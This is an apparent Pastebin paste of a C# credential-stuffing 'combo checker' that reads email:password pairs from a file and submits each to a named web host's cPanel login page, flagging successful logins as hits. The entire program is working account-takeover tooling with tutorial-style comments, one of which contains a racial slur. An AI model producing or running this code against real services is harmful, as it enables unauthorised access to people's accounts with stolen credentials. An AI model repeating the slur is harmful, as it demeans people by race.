Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Net;
- using System.IO;
- // Notes:
- // Request URL = https://www.000webhost.com/cpanel-login
- // Content Type = application/x-www-form-urlencoded
- // Data: email=john%40gmail.com&password=smith
- namespace crackerSource
- {
- class Program
- {
- static void Main(string[] args)
- {
- List<string> Combos = new List<string>(); // make a list to store all the combos that we gonna check
- foreach (string line in File.ReadLines(@"./combo.txt")) // load all combos from combo.txt
- {
- Combos.Add(line.Replace("\n", "")); // Replacing all empty lines with nothing
- }
- foreach (string combo in Combos) // for each combo that we loaded from the txt file
- {
- check(combo);// do our check function
- }
- Console.ForegroundColor = ConsoleColor.White;
- Console.WriteLine("Finished checking!");
- Console.ReadKey();
- }
- private static bool check(string combo)
- {
- combo = combo.Replace("@", "%40"); // Replacing any @'s with %40 because the server cannot understand @, it understands it as %40
- // An example string of combo would be "john:smith", in the code below we have made ':' the split parameter and we are making username equal to john and password equal to smith.
- string username = combo.Split(':')[0];
- string password = combo.Split(':')[1];
- // Filling in the blanks of the Data on line 11 so we can send this request to the website.
- string data = "email=" + username + " &password=" + password;
- // (HttpWebRequest)WebRequest.Create("") is how we make a web request.
- var request2 = (HttpWebRequest)WebRequest.Create("https://www.000webhost.com/cpanel-login"); // Here we are creating a request variable
- var postData = Encoding.ASCII.GetBytes(data); // Getting the bytes(amount of characters) of the data on line 27 and store this amount of characters in a variable called postData
- request2.Method = "POST"; // We are stating what we are doing, POST is used to send data to a server to create/update a resource.
- request2.ContentType = "application/x-www-form-urlencoded"; // ???
- request2.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36"; // Which browser type is sending the request.
- request2.ContentLength = data.Length; // Telling the server how much data (how many characters) we are sending it
- using (var stream = request2.GetRequestStream()) // ???
- {
- stream.Write(postData, 0, data.Length); // Finally Sending the data
- }
- var response = (HttpWebResponse)request2.GetResponse(); // Actually Performing the Request and getting a Response from the server
- // new StreamReader is basically saying lets create a new nigga thats gonna read the code, response.GetResponseStream() is saying aight get him to come over here rn I need to use u, also read that shit to the end. (ReadtoEnd())
- string html = new StreamReader(response.GetResponseStream()).ReadToEnd(); // gets the html of the response
- if (html.Contains("Logout")) // Checking if the html code contains the string "Logout" because if it does that means your logged in.
- {
- Console.ForegroundColor = ConsoleColor.Green;
- Console.WriteLine("[+] Hit -->");
- return true;
- }
- else
- {
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("[+] Bad <--");
- return true;
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement